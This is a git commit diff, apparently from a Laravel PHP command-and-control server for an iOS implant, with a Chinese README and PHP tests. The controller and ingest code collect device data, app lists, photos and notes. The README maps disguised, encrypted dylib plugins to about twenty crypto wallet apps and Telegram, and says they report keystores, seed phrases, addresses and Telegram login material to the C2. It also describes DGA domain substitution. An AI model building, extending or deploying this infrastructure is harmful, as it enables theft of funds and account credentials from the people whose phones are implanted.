feat: xxbb
This commit is contained in:
@@ -19,7 +19,7 @@ use Illuminate\Support\Facades\Storage;
|
||||
* xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
|
||||
*
|
||||
* Native path map (corepayload + details plugins):
|
||||
* /a census, /u applist, /event telemetry, /t photo multipart, /nb notes,
|
||||
* /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes,
|
||||
* /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
|
||||
* /api/tg/t Telegram auth (tglib).
|
||||
*/
|
||||
@@ -118,9 +118,12 @@ class XxbbC2Controller extends Controller
|
||||
return Cache::add($debounceKey, 1, now()->addSeconds(8));
|
||||
}
|
||||
|
||||
/** Lab analogue: POST /api/user/avatar/set — device census, no create. */
|
||||
/** Lab analogue: POST /api/user/avatar/set — device census; create from deviceInfo. */
|
||||
public function profile(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
|
||||
@@ -220,13 +220,19 @@ class IngestService
|
||||
): void {
|
||||
$needChannel = $this->channelIdEmpty($device->channel_id);
|
||||
$needDomain = trim((string) ($device->source_domain ?? '')) === '';
|
||||
if (! $needChannel && ! $needDomain) {
|
||||
$model = $this->extractDeviceModel($payload);
|
||||
$ios = $this->extractIosVersion($payload);
|
||||
$needModel = $this->shouldReplaceModel($device->device_model, $model);
|
||||
$needIos = $this->shouldReplaceIos($device->ios_version, $ios);
|
||||
if (! $needChannel && ! $needDomain && ! $needModel && ! $needIos) {
|
||||
$device->forceFill(['updated_at' => now()])->saveQuietly();
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
|
||||
$attr = ($needChannel || $needDomain)
|
||||
? $this->resolveChannelAttribution($request, $payload, $allowOldC)
|
||||
: ['channel_id' => null, 'source_domain' => null];
|
||||
$touch = ['updated_at' => now()];
|
||||
if ($needChannel && $attr['channel_id'] !== null && $attr['channel_id'] !== '') {
|
||||
$touch['channel_id'] = $attr['channel_id'];
|
||||
@@ -234,6 +240,12 @@ class IngestService
|
||||
if ($needDomain && $attr['source_domain'] !== null && $attr['source_domain'] !== '') {
|
||||
$touch['source_domain'] = $attr['source_domain'];
|
||||
}
|
||||
if ($needModel && $model !== null) {
|
||||
$touch['device_model'] = $model;
|
||||
}
|
||||
if ($needIos && $ios !== null) {
|
||||
$touch['ios_version'] = $ios;
|
||||
}
|
||||
$device->forceFill($touch)->saveQuietly();
|
||||
}
|
||||
|
||||
@@ -709,23 +721,19 @@ class IngestService
|
||||
if (! is_array($payload)) {
|
||||
return null;
|
||||
}
|
||||
foreach (['deviceModel'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
return $payload[$key];
|
||||
}
|
||||
}
|
||||
// avatar/put often sends short model as `m` (e.g. iPhone9,1)
|
||||
if (! empty($payload['m']) && is_string($payload['m']) && preg_match('/^[A-Za-z]+\d/', $payload['m'])) {
|
||||
return $payload['m'];
|
||||
}
|
||||
$info = $payload['deviceInfo'] ?? null;
|
||||
if (is_array($info)) {
|
||||
foreach (['productType', 'machine', 'model'] as $key) {
|
||||
if (! empty($info[$key]) && is_string($info[$key])) {
|
||||
if (! empty($info[$key]) && is_string($info[$key]) && $this->looksLikeHardwareModel($info[$key])) {
|
||||
return $info[$key];
|
||||
}
|
||||
}
|
||||
}
|
||||
foreach (['machine', 'm', 'deviceModel'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key]) && $this->looksLikeHardwareModel($payload[$key])) {
|
||||
return $payload[$key];
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -735,30 +743,55 @@ class IngestService
|
||||
if (! is_array($payload)) {
|
||||
return null;
|
||||
}
|
||||
// /api/user/get uses `v` for iOS version
|
||||
if (! empty($payload['v']) && is_string($payload['v']) && preg_match('/^\d+(\.\d+){1,3}$/', $payload['v'])) {
|
||||
return $payload['v'];
|
||||
}
|
||||
foreach (['pv', 'ios', 'ios_version', 'os', 'ver'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
return $payload[$key];
|
||||
}
|
||||
$info = $payload['deviceInfo'] ?? null;
|
||||
if (is_array($info) && $this->looksLikeIosVersion($info['productVersion'] ?? null)) {
|
||||
return trim((string) $info['productVersion']);
|
||||
}
|
||||
$sv = $payload['systemVersion'] ?? null;
|
||||
if (is_array($sv) && ! empty($sv['ProductVersion']) && is_string($sv['ProductVersion'])) {
|
||||
return $sv['ProductVersion'];
|
||||
if (is_array($sv) && $this->looksLikeIosVersion($sv['ProductVersion'] ?? null)) {
|
||||
return trim((string) $sv['ProductVersion']);
|
||||
}
|
||||
if (is_string($sv) && $sv !== '') {
|
||||
return $sv;
|
||||
if (is_string($sv) && $this->looksLikeIosVersion($sv)) {
|
||||
return trim($sv);
|
||||
}
|
||||
$info = $payload['deviceInfo'] ?? null;
|
||||
if (is_array($info) && ! empty($info['productVersion']) && is_string($info['productVersion'])) {
|
||||
return $info['productVersion'];
|
||||
foreach (['v', 'pv', 'ios', 'ios_version'] as $key) {
|
||||
if ($this->looksLikeIosVersion($payload[$key] ?? null)) {
|
||||
return trim((string) $payload[$key]);
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function looksLikeHardwareModel(string $value): bool
|
||||
{
|
||||
return (bool) preg_match('/^[A-Za-z]+\d/', $value);
|
||||
}
|
||||
|
||||
private function looksLikeIosVersion(mixed $value): bool
|
||||
{
|
||||
return is_string($value) && $value !== '' && (bool) preg_match('/^\d+(\.\d+){1,3}$/', trim($value));
|
||||
}
|
||||
|
||||
private function shouldReplaceModel(mixed $current, ?string $incoming): bool
|
||||
{
|
||||
if ($incoming === null || $incoming === '') {
|
||||
return false;
|
||||
}
|
||||
$current = trim((string) $current);
|
||||
|
||||
return $current === '' || ! $this->looksLikeHardwareModel($current);
|
||||
}
|
||||
|
||||
private function shouldReplaceIos(mixed $current, ?string $incoming): bool
|
||||
{
|
||||
if ($incoming === null || $incoming === '') {
|
||||
return false;
|
||||
}
|
||||
|
||||
return ! $this->looksLikeIosVersion($current);
|
||||
}
|
||||
|
||||
/**
|
||||
* Normalize `/api/user/status` shapes into address rows.
|
||||
*
|
||||
|
||||
@@ -31,6 +31,8 @@ Writes:
|
||||
- `{artifact-root}/details/` (default `../public/details`) — **published**
|
||||
- `{state-root}/out/weifile/` (default `storage/app/channel-builder-new/out/weifile`) — **staged, not moved to public**
|
||||
|
||||
每个 `details/*.js` 对应哪个 App:见 [`source/details/README.md`](source/details/README.md)。
|
||||
|
||||
`index.js` `https://[placeholder].icu` is replaced with **DGA(`c`)[0]**.
|
||||
`CACACACA` is left in place for per-channel packing.
|
||||
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
# details 文件说明
|
||||
|
||||
`php artisan xxbb:build` 会把本目录复制到 `public/details/`,给植入后的 native 按需下载。
|
||||
|
||||
文件名是线上的 `.js` 外壳,内容是 **7zAES 包着的 dylib**(密码见 builder README,不要改)。`show.html` 是目录:core + 各 App 对应哪一份插件。
|
||||
|
||||
编号缺 `o15`:原包就没有这一号。`wap.js`(WhatsApp)在原 C2 上 404,这里也没有。
|
||||
|
||||
## 公共
|
||||
|
||||
| 文件 | 作用 |
|
||||
|------|------|
|
||||
| `show.html` | 配置清单(刷新间隔、core 地址、各 bundle 插件 URL) |
|
||||
| `corepayload.js` | 主植入。上报 / DGA 的 `c` 打在这里(6 处) |
|
||||
| `helion.js` | SpringBoard(`com.apple.springboard`),常驻,`cold=0` |
|
||||
|
||||
## 钱包 / 业务插件
|
||||
|
||||
文件名里的字母对应 native 上报字段 `a`(见 `WalletSource`)。
|
||||
|
||||
| 文件 | `a` | App | bundleId |
|
||||
|------|-----|-----|----------|
|
||||
| `a1lib.js` | a / a1 | MetaMask | `io.metamask.MetaMask` |
|
||||
| `b2lib.js` | b / b1 | imToken | `im.token.app` |
|
||||
| `c3lib.js` | c | TronLink | `com.tronlink.hdwallet` |
|
||||
| `d4lib.js` | d | Trust Wallet | `com.sixdays.trust` |
|
||||
| `e5lib.js` | e | Coinbase Wallet | `org.toshi.distribution` |
|
||||
| `f6lib.js` | f | BitKeep | `com.bitkeep.os` |
|
||||
| `g7lib.js` | g | Tonkeeper | `com.jbig.tonkeeper` |
|
||||
| `h8lib.js` | h / h1 | Uniswap | `com.uniswap.mobile` |
|
||||
| `i9lib.js` | i | Phantom | `app.phantom` |
|
||||
| `j10lib.js` | j | MyTonWallet | `org.mytonwallet.app` |
|
||||
| `k11lib.js` | k | Exodus | `exodus-movement.exodus` |
|
||||
| `l12lib.js` | l | Ronin | `com.skymavis.Genesis` |
|
||||
| `m13lib.js` | m | Krystal | `com.kyrd.krystal.ios` |
|
||||
| `n14lib.js` | n | Tonhub | `com.tonhub.app` |
|
||||
| `p16lib.js` | p | Global Wallet | `com.global.wallet.ios` |
|
||||
| `q17lib.js` | q | Coin98 | `coin98.crypto.finance.insights` |
|
||||
| `r18lib.js` | r | Bitpie | `com.bitpie.wallet` |
|
||||
| `s19lib.js` | s | Solflare | `com.solflare.mobile` |
|
||||
| `t20lib.js` | t | OKX | `com.okex.OKExAppstoreFull` |
|
||||
| `tglib.js` | tg | Telegram | `ph.telegra.Telegraph` |
|
||||
|
||||
钱包插件跑起来后走 `/uj` `/us` `/ub` `/ba` `/result` 上报 keystore / 助记词 / 地址。`tglib.js` 走 `/api/tg/t`(Telegram 登录材料),不是助记词。
|
||||
@@ -150,7 +150,7 @@ def sha256_hex(data: bytes) -> str:
|
||||
|
||||
|
||||
def ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
||||
skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages"}
|
||||
skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages", "README.md"}
|
||||
return {n for n in names if n in skip or n.endswith(".pyc")}
|
||||
|
||||
|
||||
|
||||
@@ -105,16 +105,41 @@ class XxbbC2ApiTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function profile_does_not_create_device(): void
|
||||
public function profile_creates_device_from_device_info(): void
|
||||
{
|
||||
$this->xxbbPost('/a', [
|
||||
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
||||
'd' => '000C30D83CD0402E',
|
||||
'f' => '000C30D83CD0402E',
|
||||
'deviceModel' => 'iPhone',
|
||||
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
|
||||
])->assertOk()->assertSee('1786468227899{}', false);
|
||||
|
||||
$this->assertNull(Device::query()->where('device_id', '000C30D83CD0402E')->first());
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame('iPhone12,8', $device->device_model);
|
||||
$this->assertSame('16.6', $device->ios_version);
|
||||
$this->assertNull($device->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function profile_upgrades_generic_model_on_existing_device(): void
|
||||
{
|
||||
Device::query()->create([
|
||||
'device_id' => '000C30D83CD0402E',
|
||||
'device_model' => 'iPhone',
|
||||
'ios_version' => null,
|
||||
]);
|
||||
|
||||
$this->xxbbPost('/a', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'deviceModel' => 'iPhone',
|
||||
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertSame('iPhone12,8', $device->device_model);
|
||||
$this->assertSame('16.6', $device->ios_version);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
Reference in New Issue
Block a user